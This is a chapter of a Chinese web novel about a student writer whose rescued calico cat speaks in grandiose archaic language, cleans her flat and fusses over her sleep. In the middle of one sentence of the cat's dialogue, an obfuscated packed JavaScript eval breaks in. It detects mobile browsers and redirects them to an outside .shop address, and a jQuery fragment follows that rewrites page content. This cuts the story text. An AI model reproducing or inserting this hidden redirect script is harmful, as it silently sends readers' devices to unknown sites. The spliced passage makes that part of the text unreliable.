千叶满是被一阵奇怪的“嗡嗡”声吵醒的。
那声音低沉而规律，像是某种机械在运转，但又夹杂着奇怪的…吟唱？
“驱散吧，尘埃的怨灵！此乃净化结界的仪轨！”
她迷迷糊糊地睁开眼，视线从模糊逐渐清晰。
“吾以狱猫神威之名，命汝等污秽速速退散！”
然后她看到了。
看到了自家那只捡回来才四个月的三花猫——她平常叫它“小神”，调侃时叫“小神经”，有求于它时不得不叫“神大人”——现在正用后腿站立，前爪握着一台手持吸尘器，在客厅地板上缓慢而坚定地推进。
猫爪。
握着吸尘器。
用后腿站立。
还在说话。
千叶满眨了眨眼，又眨了眨眼，然后默默地拉过被子，把自己整个蒙住。
“我在做梦。”她对自己说，“肯定是昨晚赶稿到凌晨四点，大脑缺氧产生幻觉了。那只猫怎么可能……”
“契约者。”
被子外传来清晰的声音——不是猫叫，是字正腔圆的日语，虽然带着点奇怪的古风腔调。
“汝既已苏醒，何不速速起身，观摩吾净化结界的壮举？”
千叶满从被子缝里偷瞄出去。
小神——不，神威——依然站在那里，吸尘器发出嗡嗡的工作声。它的三花色皮毛在晨光中泛着健康的光泽，琥珀色的猫眼此刻正盯着她，眼神里写满了“快起来看我的英姿”。
“等等，”千叶满终于掀开被子坐起来，“你真的在说话？”
神威停下动作，歪了歪头：“言语交流，乃智慧生灵之基础。吾虽为狱猫血脉，通晓人言有何稀奇？”
“不，这很稀奇好吗！”千叶满抱头，“猫不应该只会‘喵喵’叫吗？！而且你那个名字……神威？认真的？这名字不用付版权费吗？”
她猛地住口。
对了，这里是漫综世界。那个融合了不知道多少部日本漫画的离谱世界。她五个月前莫名其妙穿越过来时，花了整整一周才接受这个事实。
所以，一只会说话的猫……好像也不是完全不可能？
“版权费？”神威放下吸尘器——用爪子轻轻放在墙角，还调整了一下位置让它靠稳，“此名乃吾之真名，何来版权一说？莫非……”
它的猫眼突然一亮，竖瞳收缩，散发出某种“我懂了”的光芒。
“莫非此名在此界另有深意？契约者知晓某些吾所不知的秘辛？原来如此！汝之惊讶，并非因吾会说话，而是因吾之名触及了此界规则的某种禁忌！”
千叶满张了张嘴，又闭上了。
怎么说？说“不是的，我只是在吐槽你名字跟某个漫画角色撞了”？说“这个世界本来就是一堆漫画拼起来的，说你可能是某个漫画角色的捏他版”？
神威看她沉默，更加确信自己的推测，毛茸茸的尾巴高高竖起：“果然！吾之名，承载着因果！契约者，汝与吾的相遇，定是命运之轮的转动！”
“……算了，你开心就好。”千叶满放弃解释，从床上爬起来。
脚刚落地，就踩到了什么软软的东西。
低头一看，是她的睡衣。昨晚赶稿热了随手脱掉扔地上的，现在被整齐地叠好放在床边。
不仅如此，整个房间——这个她因为赶稿而弄得像被台风扫过的一室一厅公寓——现在整洁得让她不敢认。
散落各处的参考书被按大小排列在书架上；零食包装袋全消失了（可能进了垃圾桶）；满地的草稿纸……
“我的稿子！”千叶满冲向书桌。
那些写满剧情构思、角色设定、还有一堆涂鸦的草稿纸，是她正在筹备的新作《关于我捡到的猫其实是地狱公务员这件事》的资料。虽然标题听起来很扯，但她可是认真想靠这部作品冲击今年的“电击小说大奖”新人赏——那可是她成为职业轻小说作家道路上的第一步！
然后她愣住了。
草稿纸还在，但被分成了三摞，整整齐齐地码在桌角。
第一摞是白纸，上面贴着张便利贴，用歪歪扭扭的猫爪字写着：“光之篇章”。
第二摞是淡黄色的便签纸，标签：“土之篇章”。
第三摞是蓝色横线纸，标签：“水之篇章”。
千叶满拿起“光之篇章”最上面那张，是她画的主角人设草稿。翻到背面，又多了一行猫爪字评语：“此角色气度不凡，然衣饰过于朴素，建议添加纹饰，彰显其狱猫守护者之威严。”
“这……”她转头看向神威。
猫猫正蹲坐在她脚边，仰着头，琥珀色的眼睛里写满了“快夸我”。
“你整理的？”千叶满问。
“自然。”神威点头，动作标准得像在鞠躬，“吾观汝之创作现场，初以为杂乱无章，后忽有顿悟——此非杂乱，而是‘混沌创作法’！以无序激发灵感，打破常规思维之桎梏！妙哉妙哉！”
它站起来，走到书桌旁，用爪子拍了拍那三摞纸：“故吾按元素属性为汝归档。光之篇章，乃角色设定与世界观；土之篇章，乃剧情大纲与伏笔；水之篇章，乃台词细节与情感描写。如此分类，可助汝更系统地进行创作。”
千叶满看着那三摞纸，又看看猫，最后闭上了自己原本打算解释“我只是懒得收拾”的嘴。
“呃，”她咽了口唾沫，“谢谢？”
“不必言谢。”神威尾巴愉快地摆动，“守护契约者的创作之路，乃吾之职责。现在，汝该补充灵力了。”
“灵力？”
“即早餐。”神威走向厨房，“人类需靠进食维持生命活动，此乃基础常识。”
千叶满跟过去，看着神威在厨房里转了一圈，然后停在微波炉前。
猫爪抬起，拍向微波炉的启动按钮。
啪。
爪子太圆，滑开了。
神威盯着微波炉看了三秒，眼神从期待变成嫌弃：“此界神器…竟如此简陋，连猫爪适配都无。设计者当反思。”
它转身，打开冰箱——用爪子勾住门把手，整个身体吊在上面，靠体重把门拉开——从里面叼出一盒牛奶，放到千叶满脚边。
抬头，眼神示意：“契约者，自行处理。”
然后又从柜子里拖出一袋吐司，用牙齿撕开一个小口，推到牛奶旁边。
附加服务完成，神威坐回地上，开始舔爪子洗脸，一副“我只能帮你到这里了”的表情。
千叶满看着脚边的早餐套装，内心复杂：“这服务态度…给差评！不包售后！”
但身体很诚实，她还是拿起牛奶和面包，准备用微波炉热一下。
“对了，”她突然想起什么，“你刚才说……狱猫血脉？那是什么？”
神威停下舔爪子的动作，眼神变得深邃：“吾之先祖，乃镇守地狱边界的猫妖一族。吾因混血之故，力量不稳，流落此界。直至遇见汝，契约成立，血脉方逐渐苏醒。”
千叶满手里的牛奶差点掉地上。
地狱猫妖？
她穿越的这个漫综世界，融合度这么高的吗？！连这种设定都能自然接轨？
“所以你会说话、会做家务、还会整理稿件……是因为这个血脉？”她试探着问。
“自然。”神威挺起胸膛，“家务乃维持结界之基础修行；整理乃混沌归序之秘术；言语乃智慧传承之体现。此皆吾族基本功。”
千叶满张了张嘴，最终只是点点头：“哦。”
她能说什么？说“其实你可能是某个漫画设定的衍生品”？说“这个世界是一锅漫画大杂烩，你只是其中一个配料”？
神威看她又是沉默，眼神又开始发光：“契约者对此毫无惊讶…果然！汝早已知晓吾之身份！先前种种，皆是试探！试探吾是否配得上守护者之位！”
“我不是，我没有，你别乱说啊！”千叶满终于忍不住了。
但神威已经沉浸在自我的世界里：“原来如此…原来如此！吾明白了！契约者深谋远虑，非吾所能及！从今往后，吾定当更加勤勉，不负汝之期待！”
它说完，叼起角落的小拖把，又开始“净化结界”了。
千叶满看着那只一边拖地一边念念有词“左三圈、右三圈、污秽退散”的三花猫，默默地捂住了脸。
“算了，”她对自己说，“至少房间干净了。”
而且稿件分类虽然荒谬，但确实…有点用？
上午的课，千叶满是飘着去的。
伊豆大学生物学部的教室，教授在讲台上讲解细胞结构，声音平稳得像催眠曲。千叶满坐在后排，头一点一点，眼皮沉重得要用牙签撑。
昨晚赶稿到凌晨四点，早上又被猫吵醒，现在能坐着不倒下已经是奇迹。
手机在口袋里震动了一下。
她迷迷糊糊地掏出来，解锁屏幕。
一条新消息。
发件人：小神经（她自己存的备注）
内容：“契约者，午时已至，速速补充灵力（吃饭）！——汝之守护者·神威”
千叶满盯着这条消息看了五秒，然后猛地坐直。
猫。
会发短信。
它什么时候学会用家里那只联系编辑专用手机的？！她什么时候教过它解锁屏幕、打开通讯录、打字发消息？！
而且这个括号里的解释是怎么回事？！“灵力（吃饭）”？！
旁边的同学注意到她的动静，侧头看了一眼。
就一眼。
千叶满迅速把手机屏幕按灭，但已经晚了。
“千叶同学…”同学表情微妙，“你的朋友…挺特别的？”
“啊哈哈，”千叶满干笑，“是、是我表弟，中二病犯了，就喜欢这样说话…”
“表弟啊，”同学点点头，眼神里写满了“我懂我懂，不用解释”，“现在的小孩确实喜欢这些。我侄子也是，整天说自己是转生勇者。”
“对对对，就是这样！”千叶满顺着台阶下，内心却在哀嚎：这猫到底是什么时候学会用手机的？！昨晚？还是今早我睡觉的时候？它不会还偷看我其他聊天记录了吧？！
她突然想起手机里还有和编辑讨论稿子的记录，还有在网上搜“如何合理描写猫妖”的浏览历史，还有……
“完了。”千叶满把脸埋进课本里。
社死，不过如此。
好不容易熬到下课，千叶满几乎是逃出教室的。
下午没课，她本来打算去图书馆查点资料，为新作的背景设定做准备——这次她瞄准的是“电击小说大奖”，目标是新人赏。虽然她的终极梦想是“这本轻小说真厉害！”年度榜首，但那太遥远了，得一步步来。
但一想到家里那只可能正在研究她手机里所有秘密的猫，她就觉得还是先回去比较好。
公寓的门没锁——她早上走得太急忘了锁，不过神威在家，应该没问题……大概？
推开门，千叶满再次愣住了。
如果说早上只是整洁，那现在简直就是……样板间。
地板光可鉴人，窗户一尘不染，所有物品摆放得像是用尺子量过。连她那个堆满杂物的书桌，现在都空荡得让她不习惯。
神威蹲在客厅中央，看到她回来，尾巴竖起来摇了摇：“欢迎归来，契约者。结界维护，第一阶段完成。”
“谢、谢谢。”千叶满环顾四周，“你…打扫了一整天？”
“自然。”神威站起来，走到她脚边，用脑袋蹭了蹭她的裤腿，“此乃修行的一部分。而且…”
它抬头，猫眼里闪过一丝得意：“吾还优化了汝的工作环境。”
“优化？”
神威领着她走到书桌前。
电脑是开着的，文档界面还停留在她昨晚写的段落。但周围……
咖啡杯放在右手边最顺手的位置，里面已经倒好了新的速溶咖啡（虽然已经凉了）。
零食袋——两包仙贝和一包巧克力——拆开了口，放在左手边。
参考书在正前方，三本叠放，最上面那本还贴了张便利贴，猫爪字写着：“此页有关于地狱架构的描述，或可参考。”
“这是……”千叶满眨眨眼。
“此乃‘聚灵阵’。”神威跳到椅子上，用爪子指点江山，“咖啡杯为阵眼，提供精力；零食袋为灵石，补充能量；
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140671|196315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参考书为秘典，启迪智慧。三者成三角之势，可助汝文思泉涌，创作顺利。”
它说完，跳下椅子，走到房间角落的猫窝（其实是千叶满的旧坐垫），蜷缩起来：“吾将在此护法。契约者，请开始吧。”
千叶满看着那个“阵法”，又看看已经闭目养神的神威，突然觉得……
好像，有点，道理？
东西都在手边，不用起身去拿，确实能提高效率。参考书还贴心地翻到了可能有用的页面……
“我是不是被洗脑了？”她喃喃自语，但还是坐了下来。
手放在键盘上，思绪竟然真的流畅了起来。
那些关于地狱猫妖、关于穿越、关于离谱日常的灵感，哗啦啦地往外冒。她敲键盘的速度越来越快，屏幕上字数飞速增加。
写到一个段落时，她突然想起什么，转头问：“对了，小神，你刚才说……地狱猫妖一族，具体是做什么的？”
神威没睁眼，但耳朵动了动：“镇守边界，维护秩序，惩戒恶魂。偶尔也协助阎魔大王处理文书。”
“文书？”千叶满来了兴趣，“什么样的文书？”
“生死簿核对，罪业统计，转生安排……”神威顿了顿，“以及调解纠纷。常有亡魂因生前琐事争吵，需调解。”
“调解啊…”千叶满若有所思，手指在键盘上敲了几下，一个新角色设定成型了：一个因为太爱调解纠纷而被踢到人间实习的地狱猫妖公务员。
灵感，源源不断的灵感。
她写得忘我，直到肚子发出抗议的咕噜声。
抬头看钟，已经晚上七点了。
神威不知何时已经醒了，正蹲在厨房门口，面前摆着两碗猫粮——它自己一碗，旁边还有个小碗，里面是……
“这是给我的？”千叶满走过去，看着小碗里的东西。
几块水煮鸡胸肉，一点蔬菜，摆得还挺好看。
神威点点头：“灵力补充，不可怠慢。吾虽不擅烹饪，但基础处理尚可。”
它说完，开始吃自己那碗猫粮，吃相优雅，慢条斯理。
千叶满看着那碗鸡胸肉，又看看正认真吃饭的猫，突然觉得心头一暖。
虽然离谱，虽然中二，虽然总是迪化她的行为……
但这只猫，是真的在关心她。
“谢谢。”她小声说，端起碗。
神威耳朵动了动，没抬头，但尾巴愉快地摆动了两下。
深夜，凌晨一点。
千叶满还在写。
新作的灵感出奇地好，她已经写完了第一章，正在打磨细节。窗外的城市已经安静下来，只有偶尔的车声。
神威又醒了。
这次它直接跳到书桌上，在键盘旁边坐下。
千叶满从屏幕前抬起头：“嗯？”
神威没出声，只是伸出一只爪子，轻轻拍了拍她的手背。
然后，爪子指向墙上的钟。
凌晨一点十五分。
“呃，”千叶满懂了，“我马上睡，再写一会儿……”
神威没动，只是盯着她。琥珀色的猫眼在台灯光下显得格外严肃，瞳孔缩成一条细线。
那眼神在说：不行，现在，立刻，马上。
千叶满被盯得有点心虚：“真的，就十分钟……”
神威站了起来。
它走到电脑主机旁，爪子搭在电源键上。
抬头，眼神警告。
“……知道了知道了，我这就睡！”千叶满迅速保存文档，关掉电脑。
神威满意地收回爪子，跳下桌子，走到门口。
然后，它用后腿站立起来，前爪啪地按掉了电灯开关。
房间陷入黑暗。
千叶满正准备摸黑去床上，突然听到黑暗中传来声音。
清晰的，字正腔圆的，带着古风腔调的声音。
“此乃…”
她僵住了。
“守护契约。”
四个字，清清楚楚。
千叶满在黑暗中瞪大了眼睛：“你……你真的能说话？！不是我的幻觉？！”
沉默。
几秒后。
“……的…前奏。”
然后，普通的猫叫：“喵~”
声音消失。
千叶满呆坐在椅子上，在黑暗中一动不动。
刚才……是幻觉吧？
肯定是熬夜太多产生幻听了。猫怎么可能说那么长一段话？而且最后还接了个“喵”？
但那个声音，那个语调……
她从椅子上站起来，摸索着走到神威的猫窝旁。
三花猫已经蜷成一团，呼吸平稳，像是睡着了。
千叶满蹲下来，借着窗外透进来的月光，看着那张毛茸茸的猫脸。
“小神？”她小声叫。
猫没反应。
“神威大人？”
耳朵动了动，但没醒。
“……小神经？”
神威突然睁开眼睛，瞪了她一眼，然后翻了个身，用屁股对着她。
千叶满忍不住笑了。
算了。
是不是真能说话，不重要。
重要的是，明天早上醒来，房间还会是干净的，早餐（虽然简陋）还会准备好，赶稿时还会有人（猫）在旁边“护法”。
而且，她的新作《关于我捡到的猫其实是地狱公务员这件事》，第一章已经写完了。
说不定……真的能拿去投“电击小说大奖”呢？
她站起来，摸黑爬到床上，躺下。
闭上眼睛前，最后看了一眼窗外的月亮。
穿越到漫综世界，捡到一只中二病晚期还会迪化她所有行为的猫……
这生活，离谱。
但也挺有意思的。
“晚安，小神。”她对着空气说。
猫窝的方向，传来一声很轻很轻的：
“……喵。”
不知是回应，还是梦呓。
千叶满笑了笑，闭上了眼睛。
明天，又是被猫叫醒，被猫照顾，被猫迪化的一天。
好像……也不坏？